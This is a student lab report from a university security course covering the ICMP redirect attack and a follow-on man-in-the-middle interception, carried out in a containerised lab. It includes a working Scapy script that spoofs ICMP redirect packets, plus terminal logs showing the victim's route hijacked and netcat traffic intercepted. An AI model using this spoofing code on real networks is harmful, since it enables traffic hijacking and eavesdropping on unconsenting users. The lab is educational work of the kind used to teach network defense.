



**Ain Shams University  
Faculty of Engineering**

# **Lab 4**

## **ICMP Attacks**

***Under Supervision of***

**Dr. Wael Elersy**

**&**

**Eng. Ahmed Askar**

---

***Submitted By:***

**Ahmed Khaled Saad Ali Mekheimer**

**ID: 1809799**



## 1. Overview

This lab covers the following topics:

- The IP and ICMP protocols
- ICMP redirect attack
- Routing

## 2. Environment Setup

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
[03/28/23]seed@VM:~/.../Labsetup$ dcbuild
victim uses an image, skipping
attacker uses an image, skipping
malicious-router uses an image, skipping
HostB1 uses an image, skipping
HostB2 uses an image, skipping
Router uses an image, skipping
[03/28/23]seed@VM:~/.../Labsetup$ dcup
Creating network "net-192.168.60.0" with the default driver
Creating host-192.168.60.5 ... done
Creating attacker-10.9.0.105 ... done
Creating host-192.168.60.6 ... done
Creating router ... done
Creating malicious-router-10.9.0.111 ... done
Creating victim-10.9.0.5 ... done
Attaching to router, host-192.168.60.6, victim-10.9.0.5, attacker-10.9.0.105, host-192.168.60.5, m
alicious-router-10.9.0.111
```

-Attacker

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x s
[03/28/23]seed@VM:~/.../Labsetup$ docksh attacker-10.9.0.105
root@248beeab4a9b:/# █
```

-Victim

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
[03/28/23]seed@VM:~/.../Labsetup$ docksh victim-10.9.0.5
root@995ce5a38992:/# █
```



## -Malicious Router

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
[03/28/23] seed@VM: ~/.../Labsetup$ docksh malicious-router-10.9.0.111
root@40a51407e693:/#
```

## -Host (192.168.60.5)

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
[03/28/23] seed@VM: ~/.../Labsetup$ docksh host-192.168.60.5
root@76ea86c205af:/#
```

## -Checking victim is connected to host by pinging

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed
[03/28/23] seed@VM: ~/.../Labsetup$ docksh victim-10.9.0.5
root@995ce5a38992:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.609 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.333 ms
^C
--- 192.168.60.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1014ms
rtt min/avg/max/mdev = 0.333/0.471/0.609/0.138 ms
root@995ce5a38992:/#
```

## -Containers & their IPs

Victim	10.9.0.5
Attacker	10.9.0.105
Malicious Router	10.9.0.111
Host	192.168.60.5



### 3. Task 1: Launching ICMP Redirect Attack

We will run this file on the Attacker Container.

```
GNU nano 4.8                                     icmp1
#!/usr/bin/python3

from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
```

```
root@248beeab4a9b:/# chmod a+x icmp1
root@248beeab4a9b:/# ./icmp1
.
Sent 1 packets.
```



We will trace out on the victim machine to check if the packet is rerouted or not using the following line.

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
root@995ce5a38992:/# ping 192.168.60.5 > log.txt
mtr -n 192.168.60.5^Croot@995ce5a38992:/#
root@995ce5a38992:/# mtr -n 192.168.60.5
```

We observe below that Victim still can take his normal route through normal router to the host.

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
My traceroute [v0.93]
995ce5a38992 (10.9.0.5) 2023-03-28T12:38:04+0000
Keys: Help Display mode Restart statistics Order of fields quit
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 ROUTER 0.0% 5 0.2 0.2 0.2 0.2 0.0
2. 192.168.60.5 HOST 0.0% 4 0.3 0.3 0.3 0.4 0.1
```



ICMP redirect messages will not affect the routing table; instead, it affects the routing cache. So, we will display and clean the cache contents.

-Showing cache

Red Box is the Malicious Router IP & Blue Box is Victim IP

```
root@995ce5a38992:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
      cache <redirected> expires 266sec
root@995ce5a38992:/#
```

-Cleaning Cache

```
seed@VM: ~/.../Labsetup ×  seed@VM: ~/.../Labsetup ×  seed@VM: ~/.../Labsetup ×
root@995ce5a38992:/# ip route flush cache
root@995ce5a38992:/# ip route flush cache
root@995ce5a38992:/# ip route flush cache
root@995ce5a38992:/# ip route flush cache
root@995ce5a38992:/# ip route flush cache
root@995ce5a38992:/# ip route show cache
root@995ce5a38992:/# ip route show cache
root@995ce5a38992:/# ping 192.168.60.5 > log.txt
```



-Then we will send ICMP redirect messages again from Attacker

```
root@248beeab4a9b:/# ./icmp1
.  
Sent 1 packets.  
root@248beeab4a9b:/# ./icmp1
.  
Sent 1 packets.  
root@248beeab4a9b:/#
```

-Tracing Route at victim

```
seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x seed@VM: ~/.../Labsetup x
```

My traceroute [v0.93]

995ce5a38992 (10.9.0.5)2023-03-28T13:29:00+0000

Keys: Help   Display mode   Restart statistics   Order of fields   quit

Host	Packets		Pings					
	Loss%	Snt	Last	Avg	Best	Wrst	StDev	
1. 10.9.0.111 Malicious Router	0.0%	122	0.3	0.3	0.1	9.9	0.9	
2. 10.9.0.11	0.0%	122	0.1	0.2	0.1	0.7	0.1	
3. 192.168.60.5	0.0%	121	0.4	0.3	0.1	0.6	0.1	

Now, we can see “Malicious Router” in the route between the “Victim” and “Host”.



## 4. Task 2: Launching MITM Attack

-Disabling IP Forwarding from docker-compose.yml

```
malicious-router:
  image: handsonsecurity/seed-ubuntu:large
  container_name: malicious-router-10.9.0.111
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.ip_forward=0
    - net.ipv4.conf.all.send_redirects=1
    - net.ipv4.conf.default.send_redirects=1
    - net.ipv4.conf.eth0.send_redirects=1
```

-Launching ICMP Attack from “Attacker”

```
root@248beeab4a9b:/# ./icmp1
.
Sent 1 packets.
```

-Redirecting the Victim to Host

```
root@995ce5a38992:/# ping 192.168.60.5 > log.txt
```

-Launching MITM Attack from “Malicious Router”

```
^Croot@40a51407e693:/# ./mitm.py
LAUNCHING TASK 2 MITM ATTACK.....
```





-Starting a TCP client and server program using netcat between “Host” & “Victim”

```
root@76ea86c205af:/# nc -lp 9090
```

```
root@995ce5a38992:/# nc 192.168.60.5 9090
```

-Writing at “Host” my Name

```
root@76ea86c205af:/# nc -lp 9090
AHMED MEKHEIMER
AHMED MEKHEIMER
█
```

-“Victim” receives

```
root@995ce5a38992:/# ping 192.168.60.5 > log.txt
root@995ce5a38992:/# nc 192.168.60.5 9090
AHMED MEKHEIMER
AHMED MEKHEIMER
```



-“Malicious Router” with its sniff-and-spoof program catches what was sent between Host & Victim

```
^Croot@40a51407e693:/# ./mitm.py
LAUNCHING TASK 2 MITM ATTACK.....
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AHMED MEKHEIMER\n', length: 16
.
Sent 1 packets.
*** b'AHMED MEKHEIMER\n', length: 16
```

**To be honest it sent multiple of “MY NAME” message I don’t know why.**